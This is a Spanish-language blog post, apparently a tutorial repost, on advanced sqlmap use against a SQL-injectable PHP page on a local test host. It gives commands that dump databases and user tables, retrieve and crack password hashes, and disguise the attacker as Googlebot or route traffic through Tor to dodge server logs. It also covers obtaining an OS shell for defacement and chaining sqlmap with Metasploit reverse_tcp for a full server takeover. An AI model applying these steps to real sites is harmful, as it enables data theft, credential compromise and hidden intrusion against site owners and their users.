jueves, 29 de mayo de 2014

Aprendiendo Sqlmap avanzado











Que es el SQLMAP ?

El sqlmap es una herramienta en código abierto, la cual nos permite inyectar  una web automáticamente,y nos permite utilizar varias variables en sus ejecuciones de comando de dicha herramienta.

Nuestros Primeros Pasos en el SQLMAP

#utilizare el Sistema Operativo Backtrack R3 /Linux.

Abriremos Nuestra Terminal y pondremos lo siguiente para entrar al directorio.

[code]cd /pentest/database/sqlmap[code] 

Lo que haremos ahora sera ejecutar el primer nivel de testeo del sqlmap en este caso el nivel 1, pondremos la url con el error de SQL  en este caso un parámetro GET

http://192.168.48.1/test/SQL%20Injection/detalle.php?id='9


agregaremos una comilla al final  o adelante del numero, la cual nos  confirmara si es vulnerable a una sql inyección  botando el siguiente mensaje :

" You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9'' at line 1 "

Como vemos esta es una forma de identificar dicho error para inyectarlo, buenos vayamos al grano  8)

Ejecutamos este código en la terminal :

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --dbs[/code]

Una ves ejecutado el código, el sqlmap empezara a  Testear la web, una ves terminada  saldrán las base de datos que tenga la misma como vemos en la imagen.































Para Entrar a las base de datos y ver sus tablas pondremos el siguiente codigo

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --D privacidaddb --tables [/code]

Como vemos eh entrado a la base de datos "Privacidaddb"  nos voto las tablas y entre ellas columnas que tienen la información primordial de la web.
































Ahora entraremos a la Tabla " usuarios " y  extraeremos todos los datos de un porrazo

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --D privacidaddb -t usuarios --columns --dump[/code]































Esta es la manera típica de obtener datos paso por paso

Si deseamos tener todos los datos de las base de datos / tablas columnas y datos de la misma, pondremos  este codigo

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --dump-all [/code]































pero si deseamos tener la base de datos de la web relacionada a las conexiones de la misma base de datos afectaba pondremos el código

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 -p id --current-db [/code]


























También es muy importante Proteger nuestra privacidad y sobre todo camuflar nuestra Inyección en los Logs del servidor alojado de la web, ya que cada ves que entramos a una web, se quedan grabados nuestras navegaciones, como nuestra IP / y sobre todo el tipo de conexión y petición que usamos , veremos un ejemplo para que se den cuenta.

Como vemos aqui me eh conectado mediante Internet explore  de una maquina virtual mediante el parametro GET :





Ahora me conectare nuevamente asiendo una Inyección SQL para ver como se ve la conexión  :






Como vemos en la imagen " nos dice que la conexión se inicio mediante : "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)" como vimos detecta hasta el programa que  utilizamos, pero ojo lo que hize fue algo simple ya que solo utilice el codigo del sqlmap.py  -u url --dbs -D , ahora utilizare el código para dumpear las columnas de las tablas:







como vemos nos detecta de una manera mas textual la conexión que estamos relacionado, entonces el web master se daría cuenta que estamos inyectando su web, entonces vamos a camuflar nuestras conexiones

Pondremos este código :


[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 -D privacidaddb --tables --user-agent="Mozilla 5 (compatible , Googlebot/2.1, http://www.google.com/bot.html)"[/code]






Como vemos hemos camuflado nuestra conexión con un robot  de google la cual esta en todo momento vigente en las conecciones de inicio , y hemos puesto el inicio de origen en este caso " www.google.com"

Luego de ello, vamos a utilizar un metodo de como obtener datos del usuario de la web :

[code]sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9  --current-user [/code]

























en este otro método vamos a comprobar si el usuario obtenido es correcto al de la base de datos.

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --is-dba --current-db[/code]



























Debemos tener en cuenta que también podemos ver los privilegios de administradores por medio de este tipo de inyección, pondremos el siguiente código :

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --privileges[/code]

























Como vimos obtuvimos datos de los privilegios activados .

ahora aprenderemos el mismo metodo, pero en esta ves obtendremos todos los usuarios de DBS mediante este comando:

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --users[/code]


























ahora viene lo interesante , Obtener las contraseñas de los usuarios de las dbs, utilizaremos este comando

[code]./sqlmap.py -u ./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --password[/code]









Como vemos nos sale este mensaje, pero porque ?, porque las contraseñas de los registros en las base de datos, automáticamente de codifican en "Hash" como son el "MD5" , que es la encryptacion mas conocida, bueno esta alerta " si deseamos poner ["Y" , "N", "Q"] , la Letra "Y" nos quiere decir que si deseamos utilizar un ataque de fuerza Bruta mediante el sqlmap, para descifrar la hash , el  " N " , Sirve para negar el proceso de fuerza bruta y obtener solamente la "hash" y el comando " Q " nos permite terminar el proceso hasta ese momento , Yo Pondre la Opcion "Q" y saldra 3 opciones yo , escogere el diccionario 1 /defauld y en momentos votara lo siguiente :

























Como vimos nos muestra la contraseña ya desencryptada la cual fue " comandos " y tambien al usuario que lo pertenece que es " root "

También debemos tener en cuenta que podemos utilizar un tipo de búsqueda mas completa y rápida, con la opción búsqueda, la cual nos facilitara el proceso de búsqueda, como " login " o " usuario / "contraseña" o "password ", en este proceso debemos tener en cuenta que debemos jugar con los nombres de búsquedas,para hallar las columnas aun mas rápido, pondremos este comando :

[code]./sqlmap.py -u http://localhost/test/SQL%20Injection/detalle.php?id=9 -C login --search [/code]

























como vemos nos sale dos opciones  la primera  "Defauld" nos permite tener una lista opcional de la búsqueda
la segunda opción, " nos permite tener una lista mas completa , entonces yo le dare " la primera opción " 1 y nos saldrá las columnas de las base de datos en general :

























automáticamente después no saldrá esta opción que veremos en la imagen :











este proceso nos permitirá hacer un dump de las columnas  halladas en las DBS , entonces yo le pondré la opción : "a" que nos hará un dump en  general, y nos votara así :















si deseas tener un proxy en su testeo con el slqmap  , utilizaremos el " tor " primero debemos instalarlo en nuestro sistema operativo, una ves instalado  y configurado utilizaremos este comando .

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --dbs --tor [/code]


Yo solamente pongo el tor porque para mi es uno de los mas seguros, claro si sabes configurar bien el valida con el tor.

Herramientas del Sqlmap

Actualmente hemos utilizado el slqmap para obtener datos de una web, y para ser sinceros hemos obtenido los datos del  administrador , o simplemente no hemos obtenido datos, ya sea por un error en el testeo, o simplemente porque no había los datos de logeo , la cual necesitamos para nuestro " Deface " o para tener el  acceso general a la web entonces nos hemos rendido ante esos pequeños problemas  ahora dime te preguntaras sqlmap tendrá herramientas que me permitan otro tipo de proceso para subir archivos ? pues yo te diré que si esta es una herramienta poderosa que nos permite hacerlo vayamos a la acción tio  8)

Entramos al sqlmap y pondremos el siguiente código

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --os-shell [/code]



























Como vemos en la imagen, nos muestra 4 tipos de extensiones web's en este caso, nosotros escogeremos el numero 3  ,porque nuestro upload estará basado el dicha programación, ya que es estándar en los servidores web , yo eligire el php y nuego de ello le damos enter y pondremos el discloure parch  ! yo puse el del inicio de la web, como vemos aqui, luego de ello nos voto! abajo 2 URL" donde nos indicia que el upload subio correctamente.



























Entraremos al primer link  :


























tango down! pasamos a Subir nuestra shell y tenemos acceso total al sistema

Utilizar slqmap con Metasploit , mediante este proceso crearemos  un exploit  pasar a utilizar los payloads como  " Reverse_tcp" para  tener una sesión   reversa, subiendo nuestros "archivos infectados al servidor web" vamos a la acción ! Pondremos el siguiente codigo :

[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --os-pwn[/code]

Una ves ejecutado nos saldrá esta opción .








Ejecutaremos el primero , ya que vamos a utilizar una conexion de taza  transferencia de protocolos / TCP , con metasploit luego nos saldra las mismas opciones las cuales ejecutamos en la sección de arriba ,como subir un upload por sqlmap, usaremos el mismo procedimiento hasta que les salga estas opciones :








en esta sección no pide crear una shellcode para utilizar la conexión y nos arroja 5 opciones , entonces yo escogeré la opción " 2 " la cual es "Reverse_tcp" , con los  puertos por defecto  " entonces son saldran 2 opciones y le daremos " Enter " una ves ello nos dira  :

Entonces le  pondré " 1 " ya que capturaremos las sesión meterpreter  y empezara el proceso ...........
luego de ello nos saldrá que ah sido creado nuestra sesión con el ejecutable


Luego de ello se abrirá  automáticamente el metasploit ejecutando los procesos de explotación y automáticamente iniciara la sesión 























Como vemos hemos explotado la web , alojada en un servidor windows y tenemos el acceso total interesante . . . . . . . .

Fuente: http://backtrack-omar.blogspot.com/2014/02/aprendiendo-sqlmap-avanzado.html

No hay comentarios:

Publicar un comentario